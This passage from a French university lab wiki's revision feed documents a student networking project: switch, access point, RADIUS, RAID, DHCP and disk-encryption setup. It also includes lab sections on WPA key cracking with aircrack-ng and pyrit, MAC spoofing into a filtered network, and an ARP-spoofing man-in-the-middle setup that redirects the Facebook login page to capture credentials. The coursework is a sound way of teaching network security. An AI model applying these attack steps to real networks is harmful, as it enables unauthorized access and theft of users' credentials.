 crunch 8 8 012389 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Utilisation d'aircrack&lt;br /&gt;
 $ time aircrack-ng out-01.cap -w dic.txt&lt;br /&gt;
                                  Aircrack-ng 1.2 rc3&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                    [00:01:36] 404340 keys tested (4197.19 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                            KEY FOUND! [ 12399903 ]&lt;br /&gt;
  &lt;br /&gt;
 &lt;br /&gt;
       Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 &lt;br /&gt;
                        40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 &lt;br /&gt;
 &lt;br /&gt;
       Transient Key  : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82 &lt;br /&gt;
                        7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE &lt;br /&gt;
                        F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9 &lt;br /&gt;
                        BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94 &lt;br /&gt;
 &lt;br /&gt;
       EAPOL HMAC     : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B &lt;br /&gt;
 &lt;br /&gt;
 real	1m37.298s&lt;br /&gt;
 user	12m55.440s&lt;br /&gt;
 sys	0m0.112s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.&lt;br /&gt;
&lt;br /&gt;
Utilisation de pyrit&lt;br /&gt;
 $ time pyrit -r out-01.cap -i dic.txt attack_passthrough&lt;br /&gt;
 Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
 This code is distributed under the GNU General Public License v3+&lt;br /&gt;
 &lt;br /&gt;
 Parsing file 'out-01.cap' (1/1)...&lt;br /&gt;
 Parsed 30 packets (30 802.11-packets), got 1 AP(s)&lt;br /&gt;
 &lt;br /&gt;
 Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.&lt;br /&gt;
 Tried 440022 PMKs so far; 24749 PMKs per second.&lt;br /&gt;
 &lt;br /&gt;
 The password is '12399903'.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 real	0m21.305s&lt;br /&gt;
 user	2m20.100s&lt;br /&gt;
 sys	0m8.448s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP autorisé ====&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
On commente #auto eth0&lt;br /&gt;
&lt;br /&gt;
On configure wlan0 :&lt;br /&gt;
&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
 address 172.26.79.63&lt;br /&gt;
 netmask 255.255.240.0&lt;br /&gt;
 gateway 172.26.79.254&lt;br /&gt;
 wireless-essid troubadour&lt;br /&gt;
 wireless-mode managed&lt;br /&gt;
&lt;br /&gt;
La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP filtré ====&lt;br /&gt;
&lt;br /&gt;
On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.&lt;br /&gt;
&lt;br /&gt;
On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :&lt;br /&gt;
 ifconfig wlan0 down&lt;br /&gt;
 ifconfig wlan0 hw ether 00:15:af:e7:19:f3&lt;br /&gt;
 ifconfig wlan0 up&lt;br /&gt;
&lt;br /&gt;
On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !&lt;br /&gt;
&lt;br /&gt;
=== Configuration des Points d'Accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous avons configuré un serveur &amp;lt;code&amp;gt;FreeRadius&amp;lt;/code&amp;gt; pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier &amp;lt;code&amp;gt;/etc/freeradius/&amp;lt;/code&amp;gt;.&lt;br /&gt;
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :&lt;br /&gt;
&lt;br /&gt;
 myusername Cleartext-password := &amp;quot;myclearpassword&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 client E304 {&lt;br /&gt;
         ipaddr = 10.10.10.1&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 client VLAN13 {&lt;br /&gt;
         ipaddr = 172.20.13.0&lt;br /&gt;
         netmask = 24&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Il est important d'ajouter aussi un client pour la salle E306.&lt;br /&gt;
&lt;br /&gt;
On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :&lt;br /&gt;
   eap {&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
     peap {&lt;br /&gt;
       default_eap_type = mschapv2&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_chimay group radius_chimay&lt;br /&gt;
 radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword&lt;br /&gt;
 aaa group server radius radius_chimay&lt;br /&gt;
 server 193.48.57.163 auth-port 1812 acct-port 1813&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 dot11 ssid SSID_CHIMAY&lt;br /&gt;
 vlan 13&lt;br /&gt;
 authentication open eap eap_chimay&lt;br /&gt;
 authentication network-eap eap_chimay&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 mbssid guest-mode&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 13 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_CHIMAY&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 bridge-group 13 subscriber-loop-control&lt;br /&gt;
 bridge-group 13 spanning-disabled&lt;br /&gt;
 bridge-group 13 block-unknown-source&lt;br /&gt;
 no bridge-group 13 source-learning&lt;br /&gt;
 no bridge-group 13 unicast-flooding &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface GigabitEthernet0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
  &lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
  address 172.20.13.12&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 172.20.13.254&lt;br /&gt;
  wpa-ssid SSID_CHIMAY&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity myusername&lt;br /&gt;
  wpa-password mycleanpassword&lt;br /&gt;
&lt;br /&gt;
Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation des données ===&lt;br /&gt;
&lt;br /&gt;
Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',&lt;br /&gt;
&lt;br /&gt;
Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 : &lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
On crée le volume md0 : &lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
On vérifie que le volume est bien monté : &lt;br /&gt;
 fdisk -l&lt;br /&gt;
Renvoie :&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Un mdam --detail nous montre plus de détails sur la partition :&lt;br /&gt;
 root@chimay:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.34 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
     Update Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
           State : clean&lt;br /&gt;
  Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
  Failed Devices : 0&lt;br /&gt;
   Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : chimay:0  (local to host chimay)&lt;br /&gt;
           UUID : 72cc8ab9:4063c466:b04894e4:2b38e399&lt;br /&gt;
         Events : 0&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       48        0      active sync   /dev/xvdd&lt;br /&gt;
       1     202       64        1      active sync   /dev/xvde&lt;br /&gt;
       2     202       80        2      active sync   /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un PCBX ===&lt;br /&gt;
==== Installation et mise en place d'un serveur DHCP ====&lt;br /&gt;
&lt;br /&gt;
On commence par installer le serveur DHCP sur l'eeePC :&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :&lt;br /&gt;
 subnet 172.20.13.0 netmask 255.255.255.0 {&lt;br /&gt;
   range 172.20.13.10 172.20.13.50;&lt;br /&gt;
   option routers 172.20.13.254;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On oublie pas de changer aussi :&lt;br /&gt;
 option domain-name &amp;quot;michay.lol&amp;quot;&lt;br /&gt;
 option name-server &amp;quot;ns.michay.lol&amp;quot;,&amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:wifi.PNG |thumb|center| 200px|&amp;lt;center&amp;gt;Adresse IP obtenue via DHCP&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
=== Attaque Man in the Middle ===&lt;br /&gt;
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.&lt;br /&gt;
Le hack se fait de la manière suivante :&lt;br /&gt;
 1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)&lt;br /&gt;
 2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.&lt;br /&gt;
    Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.&lt;br /&gt;
 3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.&lt;br /&gt;
 4. Profit&lt;br /&gt;
&lt;br /&gt;
==== Configuration de Squid ====&lt;br /&gt;
 # Fichier /etc/squid3/squid.conf&lt;br /&gt;
 acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer&lt;br /&gt;
 http_access allow allowedips&lt;br /&gt;
 forwarded_for off                              # Masque notre ip dans le header HTTP&lt;br /&gt;
 http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy&lt;br /&gt;
 cache_access_log /var/log/squid3/access.log&lt;br /&gt;
 cache_log /var/log/squid3/cache.log&lt;br /&gt;
 cache_store_log /var/log/squid3/store.log&lt;br /&gt;
 cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
 cache_mem 16 MB&lt;br /&gt;
 maximum_object_size 15 MB&lt;br /&gt;
 http_port 3129 intercept                       # Pour rendre le proxy transparent&lt;br /&gt;
 cache_effective_group root&lt;br /&gt;
 url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration de SquidGuard ====&lt;br /&gt;
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.&lt;br /&gt;
 # Fichier /etc/squidguard/squidGuard.conf&lt;br /&gt;
 dbhome /usr/local/squidGuard/db                # Dossier parent de la base de données&lt;br /&gt;
 &lt;br /&gt;
 dest fb-login {                                # Définition des urls/domaines à rediriger&lt;br /&gt;
     urllist     facebook/url&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 acl {&lt;br /&gt;
     default {&lt;br /&gt;
        pass !fb-login all                      # Laisser passer tout ce qui ne concerne pas Facebook&lt;br /&gt;
        redirect http://127.0.0.1/              # Rediriger le trafic vers notre serveur Apache local&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 # Fichier /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
 fr-fr.facebook.com&lt;br /&gt;
&lt;br /&gt;
Pour lancer le proxy, dans une console :&lt;br /&gt;
 squidGuard -C all                              # Génération de la base de données (à faire à chaque modification des fichiers db)&lt;br /&gt;
 squid3 -z                                      # Vérification de la configuration de Squid&lt;br /&gt;
 service squid start&lt;br /&gt;
 service squid status                           # Pour vérifier qu'il n'y a pas d'erreurs&lt;br /&gt;
 vim /var/log/squidguard/squidGuard.log&lt;br /&gt;
&lt;br /&gt;
S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squid3 /var/lib/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /usr/local/squidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration iptables et redirection ====&lt;br /&gt;
Ici nous allons configurer la redirection du trafic.&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward                                              # Autorise le forwarding ipv4&lt;br /&gt;
 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                    # Bloque les ICMP 5 envoyés à la cible&lt;br /&gt;
 iptables -t nat -A PREROUTING -s &amp;lt;ip serveur squid&amp;gt; -p tcp --dport 80 -j ACCEPT     # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger&lt;br /&gt;
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129          # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j MASQUERADE                                        # Masque l'ip de la cible avec notre propre ip&lt;br /&gt;
 iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                        # Bloque le trafic direct vers le port du serveur Squid&lt;br /&gt;
&lt;br /&gt;
Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.&lt;br /&gt;
&lt;br /&gt;
==== Détournement du trafic ====&lt;br /&gt;
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :&lt;br /&gt;
 arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;ip cible&amp;gt; &amp;lt;ip gateway&amp;gt;&lt;br /&gt;
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cryptage de données ===&lt;br /&gt;
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt;.&lt;br /&gt;
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :&lt;br /&gt;
 fdisk -l&lt;br /&gt;
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1&lt;br /&gt;
Nous pouvons maintenant créer une partition cryptée avec :&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sdb1&lt;br /&gt;
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :&lt;br /&gt;
 cryptsetup luksDump /dev/sdb1&lt;br /&gt;
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mkfs.ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
On peut maintenant monter la partition dans un dossier :&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour accéder à la carte SD :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
 // Opérations ici&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24256</id>
		<title>PRA2015 - Configuration des commutateurs</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24256"/>
				<updated>2015-12-10T09:51:24Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Configuration d'un PCBX */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.&lt;br /&gt;
&lt;br /&gt;
A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 &amp;amp; 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Network architecture.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Architecture du réseau mis en place&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matériel utilisé ===&lt;br /&gt;
* Commutateur Cisco 6009&lt;br /&gt;
* Un ordinateur muni d'un port série pour la configuration&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Progression ==&lt;br /&gt;
=== Semaine 1 - Prise en main ===&lt;br /&gt;
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.&lt;br /&gt;
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :&lt;br /&gt;
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
&lt;br /&gt;
L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 - Installation et configuration des OS ===&lt;br /&gt;
&lt;br /&gt;
==== Installation des OS ====&lt;br /&gt;
&lt;br /&gt;
On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.&lt;br /&gt;
&lt;br /&gt;
Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.&lt;br /&gt;
&lt;br /&gt;
 console&amp;gt; enable&lt;br /&gt;
 console (enable)&amp;gt; set interface sc0 192.168.0.1 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; format slot0:&lt;br /&gt;
&lt;br /&gt;
On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; copy tftp slot0:&lt;br /&gt;
 console (enable)&amp;gt; 192.168.0.2&lt;br /&gt;
 console (enable)&amp;gt; &amp;quot;emplacement du fichier&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.&lt;br /&gt;
&lt;br /&gt;
Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.&lt;br /&gt;
&lt;br /&gt;
A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :&lt;br /&gt;
 BOOT=slot0:&amp;lt;CHEMIN DU FICHIER.bin&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration des OS ====&lt;br /&gt;
&lt;br /&gt;
La configuration réseau du routeur se déroule en 3 étapes.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface&lt;br /&gt;
 conf t &lt;br /&gt;
 int Gi4/3&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 int Gi7/2&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport trunk encapsulation dot1q&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite créer les VLAN, par exemple :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 vlan 13&lt;br /&gt;
 name vlan13&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :&lt;br /&gt;
&lt;br /&gt;
 int Gi4/13&lt;br /&gt;
 switchport access vlan 13&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Le schéma physique est le suivant :&lt;br /&gt;
*VLAN11 : Gigabit 4/11&lt;br /&gt;
*VLAN12 : Gigabit 4/12&lt;br /&gt;
*VLAN13 : Gigabit 4/13&lt;br /&gt;
*VLAN14 : Gigabit 4/14&lt;br /&gt;
*VLAN15 : Gigabit 4/15&lt;br /&gt;
*VLAN16 : Gigabit 4/16&lt;br /&gt;
*VLAN17 : Gigabit 4/17&lt;br /&gt;
*VLAN18 : Gigabit 4/18&lt;br /&gt;
*VLAN19 : Gigabit 4/19&lt;br /&gt;
*VLAN20 : Gigabit 4/20&lt;br /&gt;
*VLAN 110 : Gigabit 4/1&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par créer une VM Xen sur le serveur Cordouan :&lt;br /&gt;
 xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&lt;br /&gt;
*Notre IP : 193.48.57.163&lt;br /&gt;
*Masque : 255.255.255.240&lt;br /&gt;
*Passerelle : 193.48.57.174&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite crée 2 partitions LVM, home et var.&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v&lt;br /&gt;
&lt;br /&gt;
Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :&lt;br /&gt;
 disk = [ &lt;br /&gt;
           'phy:/dev/virtual/ima5-chimay-var,xvdb,w'&lt;br /&gt;
           'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]&lt;br /&gt;
 dans vif, rajouter bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :&lt;br /&gt;
 apt-get install apache2&lt;br /&gt;
 apt-get install openssh&lt;br /&gt;
 apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
